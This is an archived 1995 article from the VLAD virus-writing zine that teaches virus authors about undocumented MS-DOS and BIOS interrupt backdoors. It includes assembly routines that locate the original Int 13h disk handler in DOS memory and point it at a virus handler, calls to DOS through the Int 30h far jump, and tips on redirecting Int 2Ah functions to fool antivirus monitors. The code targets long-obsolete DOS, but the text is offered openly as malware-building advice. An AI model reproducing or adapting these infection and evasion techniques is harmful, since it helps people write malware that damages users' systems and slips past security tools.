home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.2_3 < prev    next >
Encoding:
Text File  |  1995-01-19  |  6.4 KB  |  163 lines

  1.  
  2.  
  3.    Backdoors!
  4.    +--------+                         Qark/VLAD
  5.  
  6.    
  7.    The information in this article concerns the backdoors in MS-DOS and
  8.    BIOS that can be used and abused by a virus for it's own ends!  Most
  9.    of them concern the Int21h DOS services interrupt and Int13h Disk
  10.    services.
  11.  
  12.    Int40h - The floppy disk handler gets relocated to Int40h by the Hard
  13.           disk BIOS and is called by Int 13h.  Int40h can be hooked and
  14.           used to infect floppy disks.  Be cautious when using this
  15.           because if no harddisk is present it isn't set.
  16.  
  17.    Int30h - This is not infact an interrupt at all.  It is a far jump
  18.           to the original interrupt 21h handler that is stored at
  19.           the address of int30h.  It was originally used for the CP/M
  20.           emulation in earlier versions of DOS and remains there today.
  21.           If you look at the PSP information, at PSP:[5] is a 'call
  22.           to the DOS function dispatcher'.  It actually calls the int30h
  23.           we are talking about (but due to a microsoft stuff up it misses
  24.           by two bytes).  There are two ways of using this backdoor, the
  25.           first way could be for a really hard method for infection or a
  26.           good destructive payload.  You can use it directly by calling
  27.           it in an unusual fashion.  This function could be messed up by
  28.           some programs but I have yet to see it not work anywhere.
  29.           Thanx go out to John Switzer for supplying me for this
  30.           information although I'm sure he wouldn't appreciate it's
  31.           use! :)
  32.  
  33.         Method One:
  34.           You can only use DOS functions AH=0 to 24h with this and
  35.           any functions that require AL can't be used.
  36.  
  37.           Int21h        Proc    Near
  38.           ;Call this from your code with the same parameters
  39.           ; as the real DOS int 21h function.  
  40.           ;Truly weird I'm sure you'll agree!
  41.  
  42.             mov     cl,ah                   ;It uses CL.
  43.             mov     ax,offset return_addr   ;Stack is backwards
  44.             push    ax
  45.             push    cs
  46.             pushf                           ;Flags are last!!
  47.  
  48.             db      0eah                    ;JMP FAR PTR 
  49.             dw      0c0h                    ;30h * 4
  50.             dw      0                       ;Interrupt table.
  51.           return_addr:
  52.             ret                             ;Back to user.
  53.           Int21h        EndP
  54.  
  55.         Method Two:
  56.           This is different in that it uses the segment:offset
  57.           address of the Int30h to get the original 'proper' Int21h
  58.           that we are all used to.  This method is used by the
  59.           writers of the MG virus (who also wrote creeping death,
  60.           very talented and good researchers!)  Anyway you can work
  61.           that out yourself, thats why it's called research!
  62.  
  63.    Int2fh - When DOS gets loaded it hooks int13h and saves the original
  64.    ah=13h     addresses for its own use.  When this function is called it
  65.           returns two addresses where one is slightly closer to the
  66.           original int13h than the other, but I'm not too sure which is
  67.           the closer of the two (they are often equal).  If you play
  68.           with this yourself look it up in Ralf Brown's, you can probably
  69.           point the DOS calls to your virus if you do it right.
  70.  
  71.           To grab the original int13h without messing up DOS:
  72.  
  73.             mov     ah,13h
  74.             int     2fh     ;Get the int13h's
  75.  
  76.             push    es      ;Save them
  77.             push    ds
  78.             push    dx
  79.             push    bx
  80.  
  81.             int     2fh     ;Put them back to what they were.
  82.  
  83.             pop     bx      ;Now we've got our handlers.
  84.             pop     dx
  85.             pop     ds
  86.             pop     es
  87.  
  88.           ;From here you can either choose to use ES:BX or DS:DX
  89.           ;as your int13h.
  90.  
  91.    Seg70h - Segment 70h is used by DOS.  All DOS disk access passes through
  92.           it at sometime.  All you have to do is scan through it for
  93.           the bytes of the different calls.  This method was first
  94.           used by the Creeping Death virus and is used in the 1984
  95.           (listed as 'ignorant' by CARO) and Daemon viruses.  I'd 
  96.           suggest running through this with a debugger and having a
  97.           look to work out what's going on.  DOS has been using 70:B4
  98.           to store the original Int 13h since DOS 3.3.
  99.  
  100.         mov       ax,70h
  101.         mov       ds,ax
  102.         mov       si,2
  103.           first_backdoor:
  104.         or      si,si
  105.         jz      wherever
  106.  
  107.         dec     si              ;SI-1
  108.         lodsw                   ;DS:[SI] to AX  SI+2
  109.  
  110.         cmp     ax,1effh        ;FF1E = CALL FAR PTR [xxxx]
  111.         jnz     first_backdoor
  112.  
  113.         cmp     word ptr [si],0b4h      ;This is just there :)
  114.         jnz     first_backdoor
  115.  
  116.         jmp     set_fake_int13          ;We've found it!
  117.  
  118.           set_fake_int13h:
  119.         mov     si,[si]                 ;SI=Where the address is
  120.                         ;stored.
  121.         ;save the int13h into the virus
  122.         mov     cs:orig_store,word ptr [si]
  123.         mov     cs:orig_store+2,word ptr [si+2]
  124.         ;point it to our virus
  125.         mov     word ptr [si],offset our_int13
  126.         mov     word ptr [si+2],cs
  127.  
  128.         ;ret or whatever...
  129.  
  130.    Int2fh - Have a look at this interrupt in Ralf Browns (a must for every
  131.           virus programmer) it can do ALL the interrupt 21h functions!
  132.           The only problem is working out the DOS stacks and so
  133.           on.  It is handy for bypassing AV monitors, but it is much
  134.           too huge to go into in any detail.
  135.  
  136.    BIOS   - Within BIOS lurk a number of stationary entry points to
  137.    entry      interrupts.  There are a few problems with these, as alot
  138.    points     of BIOSes are incompatible and QEMM won't work with them
  139.           but they can be useful because there isn't ANYTHING that 
  140.           can be done to stop it.
  141.  
  142.           Here are a list of addresses that are guaranteed not to
  143.           work half the time but have a look anyway.
  144.  
  145.          F000:EC59      Floppy disk int 13h
  146.          F000:F859      Int 15h, sometimes useful
  147.  
  148.    Int2ah - This is called by Int 21h on every file related function.  By
  149.    ah=82h     modifying the stack or certain registers you can change the
  150.           function that was called to whatever you want.  DOS stores   
  151.           the function multiplied by two in BL (eg Int 21h AH=40h will
  152.           be BL=80h when the int 2ah is called.).  If you change this
  153.           BL to another function it should fool most AV monitors.  This
  154.           may only work for some versions of DOS.
  155.  
  156.    Int21h - If you call this service you can do any DOS function.  Have a
  157.    ax=5d00h   look!  All you have to do is set your registers up in a table.
  158.           It should be easy to write a basic simulated int21h using
  159.           this.
  160.  
  161.    Anymore ?  Not that I can think of!  If you know any... tell me!!
  162.  
  163.